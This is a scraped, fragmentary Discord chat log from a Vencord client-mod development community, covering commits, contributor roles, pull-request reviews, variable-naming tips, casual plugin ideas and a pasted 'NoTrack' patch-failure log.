having an absolute fucking downer of a day
feeling hopeless that i will succeed in life
check #๐พ-core-development
"1 new commit from korbough in Vencord:dev"
having an absolute fucking rollercoaster of a day
i guess you get the yellow role now?
I have like 2 commits and no yellow
๐คทโโ๏ธ i guess you're a contributor
one day
fk i forgot
i forgot a 1
true
you could maybe download the sound and then play it through the microphone somehow
what I'm more curious about is modifying data sent via the gateway
I had the idea for a platform spoofing plugin (assuming that doesn't exist currently) to force your status to web/mobile/etc nvm that seems to be a thing #๐พ-core-development message

I'll deal with it
Idk how but I will
Oh yipee yellow
That's been done multiple times and won't be accepted into vencord as a built in plugin
why not?
actually I can probably just do my own reading about that like a normal human
the west has fallen, billions must accept and merge
you can try having github deal with it
just merge commit it's whatever
apparently its fine?
click update
o
review soon ๐ฅ
๐๏ธ ๐๏ธ
Please review 2010
review
variable names?
I don't know
I tend to use the first thing I think of and hate it. Most of the time people come up with better ones than me
it's simple
a variable's name is what it contains
what could go wrong ๐ซ
just use full words, and only abbreviate when it's widely recognised and unambigious
imo
โ
application -> app
โ window -> win
also, do not be afraid to put bad puns in your names
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
None
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
None
i doubt anyone cares about this idea other than pluralkitty but i have had the thought you could probably make it auto-/nick on servers where you have the perms
pluralkitty is more commonly known as dustyangel47 btw
i think?
they just nicked as a bot a while ago because there's no pluralkit in this server
i have seen that name (cause they dmed me before) but i just assumed using the nick would be more obvious


